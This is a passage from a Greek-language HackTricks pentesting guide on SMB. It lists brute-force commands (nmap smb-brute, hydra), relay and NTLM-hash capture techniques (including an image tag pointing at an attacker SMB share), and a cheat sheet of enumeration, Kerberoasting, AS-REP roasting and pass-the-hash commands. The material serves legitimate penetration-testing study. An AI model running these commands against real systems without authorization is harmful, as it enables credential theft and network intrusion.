[https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/)
|
||
|
||
## **Δοκιμάστε με εξαναγκασμό τα διαπιστευτήρια των χρηστών**
|
||
|
||
**Αυτό δεν συνιστάται, μπορείτε να μπλοκάρετε ένα λογαριασμό αν υπερβείτε τις μέγιστες επιτρεπόμενες προσπάθειες**
|
||
```bash
|
||
nmap --script smb-brute -p 445 <IP>
|
||
ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name
|
||
```
|
||
## Επίθεση SMB relay
|
||
|
||
Αυτή η επίθεση χρησιμοποιεί το εργαλείο Responder για να **καταγράψει τις συνεδρίες πιστοποίησης SMB** σε ένα εσωτερικό δίκτυο και να τις **μεταφέρει** σε μια **στόχο μηχανή**. Εάν η **συνεδρία πιστοποίησης είναι επιτυχής**, θα σας μεταφέρει αυτόματα σε ένα **σύστημα shell**.\
|
||
[**Περισσότερες πληροφορίες για αυτήν την επίθεση εδώ.**](../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||
|
||
## SMB-Trap
|
||
|
||
Η βιβλιοθήκη Windows URLMon.dll προσπαθεί αυτόματα να πιστοποιηθεί στον κεντρικό υπολογιστή όταν μια σελίδα προσπαθεί να έχει πρόσβαση σε κάποιο περιεχόμενο μέσω SMB, για παράδειγμα: `img src="\\10.10.10.10\path\image.jpg"`
|
||
|
||
Αυτό συμβαίνει με τις λειτουργίες:
|
||
|
||
* URLDownloadToFile
|
||
* URLDownloadToCache
|
||
* URLOpenStream
|
||
* URLOpenBlockingStream
|
||
|
||
Οι οποίες χρησιμοποιούνται από ορισμένους περιηγητές και εργαλεία (όπως το Skype)
|
||
|
||
.png>)
|
||
|
||
### SMBTrap χρησιμοποιώντας το MitMf
|
||
|
||
.png>)
|
||
|
||
## Κλοπή NTLM
|
||
|
||
Παρόμοια με το SMB Trapping, η τοποθέτηση κακόβουλων αρχείων σε ένα σύστημα στόχο (μέσω SMB, για παράδειγμα) μπορεί να προκαλέσει μια προσπάθεια πιστοποίησης SMB, επιτρέποντας την παρεμβολή του hash NetNTLMv2 με ένα εργαλείο όπως το Responder. Το hash μπορεί στη συνέχεια να αποκωδικοποιηθεί εκτός σύνδεσης ή να χρησιμοποιηθεί σε μια [επίθεση SMB relay](pentesting-smb.md#smb-relay-attack).
|
||
|
||
[Δείτε: ntlm\_theft](../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm\_theft)
|
||
|
||
## Αυτόματες Εντολές HackTricks
|
||
```
|
||
Protocol_Name: SMB #Protocol Abbreviation if there is one.
|
||
Port_Number: 137,138,139 #Comma separated if there is more than one.
|
||
Protocol_Description: Server Message Block #Protocol Abbreviation Spelled out
|
||
|
||
Entry_1:
|
||
Name: Notes
|
||
Description: Notes for SMB
|
||
Note: |
|
||
While Port 139 is known technically as ‘NBT over IP’, Port 445 is ‘SMB over IP’. SMB stands for ‘Server Message Blocks’. Server Message Block in modern language is also known as Common Internet File System. The system operates as an application-layer network protocol primarily used for offering shared access to files, printers, serial ports, and other sorts of communications between nodes on a network.
|
||
|
||
#These are the commands I run in order every time I see an open SMB port
|
||
|
||
With No Creds
|
||
nbtscan {IP}
|
||
smbmap -H {IP}
|
||
smbmap -H {IP} -u null -p null
|
||
smbmap -H {IP} -u guest
|
||
smbclient -N -L //{IP}
|
||
smbclient -N //{IP}/ --option="client min protocol"=LANMAN1
|
||
rpcclient {IP}
|
||
rpcclient -U "" {IP}
|
||
crackmapexec smb {IP}
|
||
crackmapexec smb {IP} --pass-pol -u "" -p ""
|
||
crackmapexec smb {IP} --pass-pol -u "guest" -p ""
|
||
GetADUsers.py -dc-ip {IP} "{Domain_Name}/" -all
|
||
GetNPUsers.py -dc-ip {IP} -request "{Domain_Name}/" -format hashcat
|
||
GetUserSPNs.py -dc-ip {IP} -request "{Domain_Name}/"
|
||
getArch.py -target {IP}
|
||
|
||
With Creds
|
||
smbmap -H {IP} -u {Username} -p {Password}
|
||
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP}
|
||
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP} --pw-nt-hash `hash`
|
||
crackmapexec smb {IP} -u {Username} -p {Password} --shares
|
||
GetADUsers.py {Domain_Name}/{Username}:{Password} -all
|
||
GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat
|
||
GetUserSPNs.py {Domain_Name}/{Username}:{Password} -request
|
||
|
||
https://book.hacktricks.xyz/pentesting/pentesting-smb
|
||
|
||
Entry_2:
|
||
Name: Enum4Linux
|
||
Description: General SMB Scan
|
||
Command: enum4linux -a {IP}
|
||
|
||
Entry_3:
|
||
Name: Nmap SMB Scan 1
|
||
Description: SMB Vuln Scan With Nmap
|
||
Command: nmap -p 139,445 -vv -Pn --script=smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-ms17-010.nse {IP}
|
||
|
||
Entry_4:
|
||
Name: Nmap Smb Scan 2
|
||
Description: SMB Vuln Scan With Nmap (Less Specific)
|
||
Command: nmap --script 'smb-vuln*' -Pn -p 139,445 {IP}
|
||
|
||
Entry_5:
|
||
Name: Hydra Brute Force
|
||
Description: Need User
|
||
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} {IP} smb
|
||
|
||
Entry_6:
|
||
Name: SMB/SMB2 139/445 consolesless mfs enumeration
|
||
Description: SMB/SMB2 139/445 enumeration without the need to run msfconsole
|
||
Note: sourced from https://github.com/carlospolop/legion
|
||
Command: msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 445; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 445; run; exit'
|
||
|
||
```
|
||
<details>
|
||
|
||
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
Άλλοι τρόποι υποστήριξης του HackTricks:
|
||
|
||
* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
|
||
|
||
</details>
|